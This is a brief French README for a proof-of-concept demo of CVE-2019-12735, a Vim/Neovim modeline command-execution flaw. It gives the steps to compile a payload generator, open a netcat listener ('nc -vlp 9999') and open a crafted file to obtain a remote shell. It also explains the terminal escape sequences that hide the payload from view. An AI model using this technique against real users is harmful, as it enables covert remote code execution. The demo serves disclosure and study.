
Une démo pour cve-2019-12735
Cette CVE a été corrigée après neovim 0.3.6 et vim 8.1.1365
vim demo1.txt
gcc make_demo3.c -o make_demo3
./make_demo3
nc -vlp 9999
vim demo3.txt
Ensuite, vous pouvez exécuter n'importe quelle commande Linux dans la session.
\x1b[?7l : n'effectue pas de retour à la ligne en fin de ligne, continue d'écraser le dernier caractère\x1bS: STS, Set transmit state\x1b[1G: déplace vers la colonne 1\x1b[K: supprime tous les caractères depuis la position actuelle du curseur jusqu'à la fin de la ligne